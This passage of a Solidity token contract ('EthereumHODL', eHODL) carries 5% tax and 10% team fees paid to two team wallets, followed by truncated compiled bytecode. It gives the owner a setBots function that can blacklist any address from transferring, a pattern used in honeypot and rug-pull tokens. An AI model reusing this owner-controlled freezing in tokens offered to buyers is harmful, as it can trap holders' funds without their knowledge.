mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e74565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061297b565b61045e565b6040516101789190612e59565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613016565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612928565b61048c565b6040516101e09190612e59565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061288e565b610565565b005b34801561021e57600080fd5b50610227610655565b604051610234919061308b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a04565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061288e565b610782565b6040516102b19190613016565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612d8b565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612e74565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061297b565b61098c565b60405161035b9190612e59565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129bb565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a5e565b6110a9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e8565b6111f1565b6040516104189190613016565b60405180910390f35b60606040518060400160405280600c81526020017f457468657265756d484f444c0000000000000000000000000000000000000000815250905090565b600061047261046b611278565b8484611280565b6001905092915050565b6000670de0b6b3a7640000905090565b600061049984848461144b565b61055a846104a5611278565b6105558560405180606001604052806028815260200161379260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b611278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0a9092919063ffffffff16565b611280565b600190509392505050565b61056d611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612f56565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610666611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612f56565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611278565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611c6e565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d69565b9050919050565b6107db611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612f56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f65484f444c000000000000000000000000000000000000000000000000000000815250905090565b60006109a0610999611278565b848461144b565b6001905092915050565b6109b2611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612f56565b60405180910390fd5b60005b8151811015610ad0576001600a6000848481518110610a6457610a636133d3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac89061332c565b915050610a42565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b15611278565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611dd7565b50565b610b56611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612f56565b60405180910390fd5b600f60149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612fd6565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611280565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0857600080fd5b505afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4091906128bb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906128bb565b6040518363ffffffff1660e01b8152600401610df7929190612da6565b602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4991906128bb565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed230610782565b600080610edd610926565b426040518863ffffffff1660e01b8152600401610eff96959493929190612df8565b6060604051808303818588803b158015610f1857600080fd5b505af1158015610f2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f519190612a8b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611053929190612dcf565b602060405180830381600087803b15801561106d57600080fd5b505af1158015611081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a59190612a31565b5050565b6110b1611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612f56565b60405180910390fd5b60008111611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612f16565b60405180910390fd5b6111af60646111a183670de0b6b3a764000061205f90919063ffffffff16565b6120da90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e69190613016565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612fb6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612ed6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143e9190613016565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b290612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290612e96565b60405180910390fd5b6000811161156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612f76565b60405180910390fd5b611576610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e457506115b4610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4757600f60179054906101000a900460ff1615611817573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181657600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611760611278565b73ffffffffffffffffffffffffffffffffffffffff1614806117d65750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117be611278565b73ffffffffffffffffffffffffffffffffffffffff16145b611815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180c90612ff6565b60405180910390fd5b5b5b60105481111561182657600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ca5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561197e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ec5750600f60179054906101000a900460ff165b15611a8d5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3c57600080fd5b603c42611a49919061314c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9830610782565b9050600f60159054906101000a900460ff16158015611b055750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1d5750600f60169054906101000a900460ff165b15611b4557611b2b81611dd7565b60004790506000811115611b4357611b4247611c6e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bee5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bf857600090505b611c0484848484612124565b50505050565b6000838311158290611c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c499190612e74565b60405180910390fd5b5060008385611c61919061322d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cbe6002846120da90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3a6002846120da90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d65573d6000803e3d6000fd5b5050565b6000600654821115611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790612eb6565b60405180910390fd5b6000611dba612151565b9050611dcf81846120da90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0f57611e0e613402565b5b604051908082528060200260200182016040528015611e3d5781602001602082028036833780820191505090505b5090503081600081518110611e5557611e546133d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef757600080fd5b505afa158015611f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2f91906128bb565b81600181518110611f4357611f426133d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611faa30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611280565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200e959493929190613031565b600060405180830381600087803b15801561202857600080fd5b505af115801561203c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207257600090506120d4565b6000828461208091906131d3565b905082848261208f91906131a2565b146120cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c690612f36565b60405180910390fd5b809150505b92915050565b600061211c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217c565b905092915050565b80612132576121316121df565b5b61213d848484612210565b8061214b5761214a6123db565b5b50505050565b600080600061215e6123ed565b9150915061217581836120da90919063ffffffff16565b9250505090565b600080831182906121c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ba9190612e74565b60405180910390fd5b50600083856121d291906131a2565b9050809150509392505050565b60006008541480156121f357506000600954145b156121fd5761220e565b600060088190555060006009819055505b565b6000806000806000806122228761244c565b95509550955095509550955061228086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123618161255c565b61236b8483612619565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c89190613016565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000670de0b6b3a76400009050612421670de0b6b3a76400006006546120da90919063ffffffff16565b82101561243f57600654670de0b6b3a7640000935093505050612448565b81819350935050505b9091565b60008060008060008060008060006124698a600854600954612653565b9250925092506000612479612151565b9050600080600061248c8e8787876126e9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0a565b905092915050565b600080828461250d919061314c565b905083811015612552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254990612ef6565b60405180910390fd5b8091505092915050565b6000612566612151565b9050600061257d828461205f90919063ffffffff16565b90506125d181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262e826006546124b490919063ffffffff16565b600681905550612649816007546124fe90919063ffffffff16565b6007819055505050565b60008060008061267f6064612671888a61205f90919063ffffffff16565b6120da90919063ffffffff16565b905060006126a9606461269b888b61205f90919063ffffffff16565b6120da90919063ffffffff16565b905060006126d2826126c4858c6124b490919063ffffffff16565b6124b490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612702858961205f90919063ffffffff16565b90506000612719868961205f90919063ffffffff16565b90506000612730878961205f90919063ffffffff16565b905060006127598261274b85876124b490919063ffffffff16565b6124b490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612785612780846130cb565b6130a6565b905080838252602082019050828560208602820111156127a8576127a7613436565b5b60005b858110156127d857816127be88826127e2565b8452602084019350602083019250506001810190506127ab565b5050509392505050565b6000813590506127f18161374c565b92915050565b6000815190506128068161374c565b92915050565b600082601f83011261282157612820613431565b5b8135612831848260208601612772565b91505092915050565b60008135905061284981613763565b92915050565b60008151905061285e81613763565b92915050565b6000813590506128738161377a565b92915050565b6000815190506128888161377a565b92915050565b6000602082840312156128a4576128a3613440565b5b60006128b2848285016127e2565b91505092915050565b6000602082840312156128d1576128d0613440565b5b60006128df848285016127f7565b91505092915050565b600080604083850312156128ff576128fe613440565b5b600061290d858286016127e2565b925050602061291e858286016127e2565b9150509250929050565b60008060006060848603121561294157612940613440565b5b600061294f868287016127e2565b9350506020612960868287016127e2565b925050604061297186828701612864565b9150509250925092565b6000806040838503121561299257612991613440565b5b60006129a0858286016127e2565b92505060206129b185828601612864565b9150509250929050565b6000602082840312156129d1576129d0613440565b5b600082013567ffffffffffffffff8111156129ef576129ee61343b565b5b6129fb8482850161280c565b91505092915050565b600060208284031215612a1a57612a19613440565b5b6000612a288482850161283a565b91505092915050565b600060208284031215612a4757612a46613440565b5b6000612a558482850161284f565b91505092915050565b600060208284031215612a7457612a73613440565b5b6000612a8284828501612864565b91505092915050565b600080600060608486031215612aa457612aa3613440565b5b6000612ab286828701612879565b9350506020612ac386828701612879565b9250506040612ad486828701612879565b9150509250925092565b6000612aea8383612af6565b60208301905092915050565b612aff81613261565b82525050565b612b0e81613261565b82525050565b6000612b1f82613107565b612b29818561312a565b9350612b34836130f7565b8060005b83811015612b65578151612b4c8882612ade565b9750612b578361311d565b925050600181019050612b38565b5085935050505092915050565b612b7b81613273565b82525050565b612b8a816132b6565b82525050565b6000612b9b82613112565b612ba5818561313b565b9350612bb58185602086016132c8565b612bbe81613445565b840191505092915050565b6000612bd660238361313b565b9150612be182613456565b604082019050919050565b6000612bf9602a8361313b565b9150612c04826134a5565b604082019050919050565b6000612c1c60228361313b565b9150612c27826134f4565b604082019050919050565b6000612c3f601b8361313b565b9150612c4a82613543565b602082019050919050565b6000612c62601d8361313b565b9150612c6d8261356c565b602082019050919050565b6000612c8560218361313b565b9150612c9082613595565b604082019050919050565b6000612ca860208361313b565b9150612cb3826135e4565b602082019050919050565b6000612ccb60298361313b565b9150612cd68261360d565b604082019050919050565b6000612cee60258361313b565b9150612cf98261365c565b604082019050919050565b6000612d1160248361313b565b9150612d1c826136ab565b604082019050919050565b6000612d3460178361313b565b9150612d3f826136fa565b602082019050919050565b6000612d5760118361313b565b9150612d6282613723565b602082019050919050565b612d768161329f565b82525050565b612d85816132a9565b82525050565b6000602082019050612da06000830184612b05565b92915050565b6000604082019050612dbb6000830185612b05565b612dc86020830184612b05565b9392505050565b6000604082019050612de46000830185612b05565b612df16020830184612d6d565b9392505050565b600060c082019050612e0d6000830189612b05565b612e1a6020830188612d6d565b612e276040830187612b81565b612e346060830186612b81565b612e416080830185612b05565b612e4e60a0830184612d6d565b979650505050505050565b6000602082019050612e6e6000830184612b72565b92915050565b60006020820190508181036000830152612e8e8184612b90565b905092915050565b60006020820190508181036000830152612eaf81612bc9565b9050919050565b60006020820190508181036000830152612ecf81612bec565b9050919050565b60006020820190508181036000830152612eef81612c0f565b9050919050565b60006020820190508181036000830152612f0f81612c32565b9050919050565b60006020820190508181036000830152612f2f81612c55565b9050919050565b60006020820190508181036000830152612f4f81612c78565b9050919050565b60006020820190508181036000830152612f6f81612c9b565b9050919050565b60006020820190508181036000830152612f8f81612cbe565b9050